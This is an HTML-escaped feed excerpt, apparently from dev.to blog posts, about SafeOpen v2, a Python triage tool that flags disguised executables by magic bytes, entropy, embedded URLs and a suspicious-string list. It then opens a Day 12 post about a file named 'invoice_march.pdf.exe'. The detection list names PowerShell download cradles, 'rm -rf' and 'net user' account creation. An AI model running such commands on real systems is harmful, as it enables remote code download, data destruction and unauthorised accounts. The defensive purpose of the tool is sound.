&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;What the user sees&lt;/strong&gt; → filename + icon (easy to fake)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What the OS executes&lt;/strong&gt; → magic bytes (first 2–8 bytes of the file)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Real examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PDF → always starts with &lt;code&gt;%PDF&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Windows EXE → always starts with &lt;code&gt;MZ&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;ELF binary (Linux) → starts with &lt;code&gt;7f ELF&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;ZIP (DOCX, XLSX, JAR…) → starts with &lt;code&gt;PK\x03\x04&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the header says “executable” but the name says “document”, that’s a &lt;strong&gt;disguise&lt;/strong&gt;. Game over for filename-only checkers.&lt;/p&gt;

&lt;p&gt;So I rebuilt everything.&lt;/p&gt;
&lt;h3&gt;
  
  
  SafeOpen v2 — “Inspect Before You Execute”
&lt;/h3&gt;

&lt;p&gt;Here’s the complete, ready-to-run tool with full explanations of every new capability.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
SafeOpen v2 — File Security Analyzer
Inspect before you execute.
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mimetypes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;

&lt;span class="c1"&gt;# === 1. Magic Byte Detection (Upgrade #1) ===
&lt;/span&gt;&lt;span class="n"&gt;MAGIC_SIGNATURES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MZ&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Windows PE Executable&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x7f&lt;/span&gt;&lt;span class="s"&gt;ELF&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;               &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Linux ELF Executable&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xca\xfe\xba\xbe&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;      &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Java Class File&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PK&lt;/span&gt;&lt;span class="se"&gt;\x03\x04&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ZIP Archive (DOCX/XLSX/JAR/etc)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%PDF&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                  &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PDF Document&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x89&lt;/span&gt;&lt;span class="s"&gt;PNG&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;               &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PNG Image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xff\xd8\xff&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;          &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;JPEG Image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;# ... (full dict in the complete code below)
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;detect_magic&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;MAGIC_SIGNATURES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What this does&lt;/strong&gt;: Reads the first 2048 bytes and matches against known headers.&lt;br&gt;&lt;br&gt;
Rename &lt;code&gt;malware.exe&lt;/code&gt; → &lt;code&gt;report.pdf&lt;/code&gt; → tool now screams &lt;strong&gt;“CRITICAL — Executable disguised as document”&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# === 2. Entropy — The “Malware Smell” (Upgrade #2) ===
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;entropy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;
    &lt;span class="n"&gt;occur&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;byte&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;occur&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="n"&gt;ent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;
    &lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;occur&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
        &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;
        &lt;span class="n"&gt;ent&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ent&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why it matters&lt;/strong&gt;: Normal documents have structure → entropy ~4.0–6.5&lt;br&gt;&lt;br&gt;
Packed/encrypted malware → entropy &amp;gt;7.5 (looks like random noise).&lt;br&gt;&lt;br&gt;
No signatures needed. Pure mathematics.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# === 3. Suspicious Behaviour Indicators (Upgrade #3) ===
&lt;/span&gt;&lt;span class="n"&gt;SUSPICIOUS_STRINGS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;powershell&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;PowerShell downloadcradle&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Downloader&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rm -rf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Destructive delete&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;net user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;User creation&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="c1"&gt;# ... 20+ more patterns
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;scan_strings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;hits&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;lower&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;SUSPICIOUS_STRINGS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;hits&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hits&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scans first 512 KB for known malicious patterns. A document containing &lt;code&gt;powershell -c Invoke-WebRequest&lt;/code&gt; is &lt;strong&gt;not&lt;/strong&gt; a document.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# === 4. Embedded Network Indicators (Upgrade #4) ===
# Simple regex on decoded text
&lt;/span&gt;&lt;span class="n"&gt;urls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https?://[^\s\'&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;&amp;gt;]{4,80}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ips&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\b(?:\d{1,3}\.){3}\d{1,3}\b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shows you every C2 server or IP the file wants to talk to &lt;strong&gt;before&lt;/strong&gt; you open it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# === 5. Cryptographic Hashes + PE Header Parsing (Upgrade #5) ===
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sha256sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="bp"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;md5sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="bp"&gt;...&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_pe_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Parses MZ → PE header, extracts architecture, compile time, DLL/EXE flag
&lt;/span&gt;    &lt;span class="bp"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even if the file is renamed 10 times, the SHA-256 is the same.&lt;br&gt;&lt;br&gt;
PE parser tells you “64-bit executable compiled on 2025-11-03”.&lt;/p&gt;
&lt;h3&gt;
  
  
  Risk Meter — One Number to Rule Them All
&lt;/h3&gt;

&lt;p&gt;Every check adds to a 0–100 risk score:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Extension mismatch → +25&lt;/li&gt;
&lt;li&gt;High entropy → +30&lt;/li&gt;
&lt;li&gt;Suspicious strings → +5 each&lt;/li&gt;
&lt;li&gt;Embedded URLs → +2 each&lt;/li&gt;
&lt;li&gt;PE executable in .pdf → instant jump&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then a beautiful terminal risk meter with colour-coded threat level (CLEAN → CRITICAL).&lt;/p&gt;
&lt;h3&gt;
  
  
  What SafeOpen Is (and Is Not)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Is&lt;/strong&gt;: 5-second pre-execution triage for suspicious attachments.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Is not&lt;/strong&gt;: Antivirus, sandbox, or signature-based detector.&lt;/p&gt;

&lt;p&gt;It solves the exact moment every SOC analyst, helpdesk tech, and power user faces:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Hey, is this invoice.pdf safe?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;How to use it right now:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 safeopen.py suspicious.pdf &lt;span class="nt"&gt;--strings&lt;/span&gt;
python3 safeopen.py &lt;span class="k"&gt;*&lt;/span&gt;.exe &lt;span class="nt"&gt;--json-out&lt;/span&gt; report.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Results
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgtyuic8dds7rxioj7yj2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgtyuic8dds7rxioj7yj2.png" alt=" " width="782" height="412"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmtqkdq28ns9mpyk61l7x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmtqkdq28ns9mpyk61l7x.png" alt=" " width="562" height="35"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff63uiayqapebo0zi466u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff63uiayqapebo0zi466u.png" alt=" " width="800" height="899"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm1ptfywjl58iq0tbvfuu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm1ptfywjl58iq0tbvfuu.png" alt=" " width="800" height="93"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjgr9sce4bul9ix2ikrnv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjgr9sce4bul9ix2ikrnv.png" alt=" " width="724" height="943"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl7qlozuqtuodo67exqlg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl7qlozuqtuodo67exqlg.png" alt=" " width="228" height="23"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0q8vnzye8m8hrsirsaqc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0q8vnzye8m8hrsirsaqc.png" alt=" " width="721" height="926"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Final Thought
&lt;/h3&gt;

&lt;p&gt;Most breaches aren’t zero-days.&lt;br&gt;&lt;br&gt;
They’re ordinary files opened by ordinary people who trusted the filename.&lt;br&gt;
Sorry for missing yesterday’s post. I got pulled into some serious debugging and real testing, and the write-up itself took longer than I expected. I didn’t want to rush it and post something half-baked, so I waited until it was stable and properly explained. Day 13 is finally here 🙂&lt;/p&gt;

&lt;p&gt;SafeOpen gives you the habit:&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Don’t execute first. Inspect first.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;Drop a 🔥 if you want the Day 14 tomorrow.&lt;/p&gt;

</description>
      <category>python</category>
      <category>linux</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>Day 12 — I Built a File Safety Checker in Python (and Accidentally Learned How Malware Tricks Humans)</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Wed, 25 Feb 2026 11:35:31 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/day-12-i-built-a-file-safety-checker-in-python-and-accidentally-learned-how-malware-tricks-33fo</link>
      <guid>https://forem.com/hafiz_shamnad/day-12-i-built-a-file-safety-checker-in-python-and-accidentally-learned-how-malware-tricks-33fo</guid>
      <description>&lt;p&gt;&lt;em&gt;A simple cybersecurity tool that turned into a lesson about trust, psychology, and why file extensions lie.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Moment That Started It
&lt;/h2&gt;

&lt;p&gt;A friend of mine once received a file through chat.&lt;/p&gt;

&lt;p&gt;The name looked harmless:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;invoice_march.pdf.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;He almost opened it.&lt;/p&gt;

&lt;p&gt;Almost.&lt;/p&gt;

&lt;p&gt;That single moment stuck in my head. Not because malware is advanced… but because &lt;strong&gt;it didn’t need to be&lt;/strong&gt;.&lt;br&gt;
The attack relied on something much simpler:&lt;/p&gt;

&lt;p&gt;Human assumptions.&lt;/p&gt;

&lt;p&gt;We don’t read filenames carefully. We pattern-match.&lt;/p&gt;

&lt;p&gt;We see &lt;code&gt;pdf&lt;/code&gt; → brain says &lt;em&gt;document&lt;/em&gt; → double-click.&lt;/p&gt;

&lt;p&gt;So I wondered:&lt;/p&gt;

&lt;blockquote&gt;
